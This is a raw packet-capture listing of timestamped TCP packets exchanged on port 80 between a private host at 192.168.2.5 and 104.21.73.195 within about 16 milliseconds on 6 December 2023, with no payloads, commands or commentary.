Dec 6, 2023 14:33:03.789789915 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.789792061 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.789803028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.789813042 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.789838076 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.789993048 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790010929 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790023088 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790034056 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790045977 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790055037 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.790069103 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.790137053 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790148973 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790160894 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790173054 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.790194988 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.790337086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790349007 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790360928 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790371895 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790383101 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.790384054 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790395975 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790406942 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.790436983 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.790469885 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790482044 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790492058 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790503979 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790513992 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.790518999 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.790558100 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.791074038 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791085958 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791096926 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791107893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791115999 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.791119099 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791134119 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.791158915 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.791246891 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791259050 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791270971 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791301012 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.791400909 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791413069 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791424036 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791439056 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.791462898 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.791528940 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791539907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791552067 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.791574955 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.792041063 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792052984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792064905 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792092085 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.792117119 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.792188883 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792200089 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792211056 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792222977 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792227030 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.792269945 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.792326927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792337894 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792350054 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792360067 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792375088 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.792396069 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.792483091 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792495012 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792506933 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792529106 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.792939901 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792952061 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.792975903 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.793086052 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793097973 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793108940 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793119907 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.793143988 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.793272018 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793284893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793296099 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793307066 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793318033 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793323040 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.793329000 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793340921 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.793365955 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.793387890 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793399096 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793421030 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793451071 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.793859959 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793872118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.793895960 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.793997049 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794008970 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794019938 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794032097 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794030905 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794043064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794054031 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794054031 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794084072 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794346094 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794358015 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794368982 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794385910 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794403076 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794538021 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794549942 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794562101 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794573069 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794584990 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794589996 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794596910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794599056 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794625044 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794760942 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794773102 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794784069 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794795036 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794806004 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.794825077 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.794847012 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.795361996 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795373917 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795384884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795396090 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795399904 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.795408010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795418978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795420885 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.795429945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795440912 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795448065 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.795526028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795537949 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795548916 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795561075 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795624018 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795780897 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.795979977 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.795979977 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.795979977 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.795979977 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.796084881 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796129942 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.796284914 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796297073 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796308041 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796319962 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796330929 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796334028 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.796356916 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.796435118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796447039 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796457052 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796468973 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796473980 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.796479940 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796492100 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.796492100 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796515942 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.796577930 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796590090 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.796610117 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.797077894 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797127962 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.797261000 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797272921 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797285080 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797310114 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.797408104 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797420025 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797430992 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797447920 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.797475100 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.797583103 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797595978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797607899 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797620058 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797626019 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.797652006 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.797760010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797772884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797785997 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.797807932 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.798069000 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798079967 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798091888 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798099995 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.798104048 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798125982 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.798249960 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798261881 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798274994 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798285007 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.798314095 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.798399925 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798412085 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798423052 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798434019 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798444986 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798448086 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.798456907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798468113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.798475027 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.798490047 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.798969030 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799015045 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799133062 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799144983 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799155951 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799168110 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799179077 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799180031 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799190998 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799206972 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799237967 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799268961 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799436092 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799448013 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799459934 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799468994 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799493074 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799604893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799618959 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799629927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799640894 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799650908 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799653053 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799664021 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799675941 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799676895 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799701929 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799735069 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799802065 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.799901962 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799913883 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799926043 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.799948931 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.800411940 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800425053 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800447941 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.800576925 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800589085 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800600052 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800611019 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800622940 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800641060 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.800662994 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800668955 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.800676107 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800688028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800698996 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800710917 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800728083 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800740957 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800769091 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.800769091 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.800770044 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.800940037 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.800976992 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.800995111 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801007032 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801019907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801033020 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801043987 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.801054955 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801067114 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.801081896 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801130056 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801134109 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.801145077 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801167965 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801177025 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.801212072 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801246881 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.801265001 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801278114 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.801311016 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.801326990 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.802279949 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.802325010 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.802479982 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.802540064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.802577019 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.802599907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.802681923 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.802723885 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.802746058 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.802839994 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.802881002 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.803097010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.803172112 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.803211927 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.803244114 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.803352118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.803385973 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.803419113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.803488970 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.803525925 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.803603888 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.803827047 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.803864002 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.804105997 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804291964 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804326057 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.804358959 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804550886 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804584026 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.804605961 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804761887 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804805040 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.804826975 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804896116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804929972 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.804934978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.804999113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805031061 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.805053949 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805130959 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805165052 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.805213928 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805346012 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805385113 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.805469036 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805512905 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805551052 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.805552006 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805620909 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805660009 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.805713892 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805802107 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.805835009 CET	49706	80	192.168.2.5	104.21.73.195
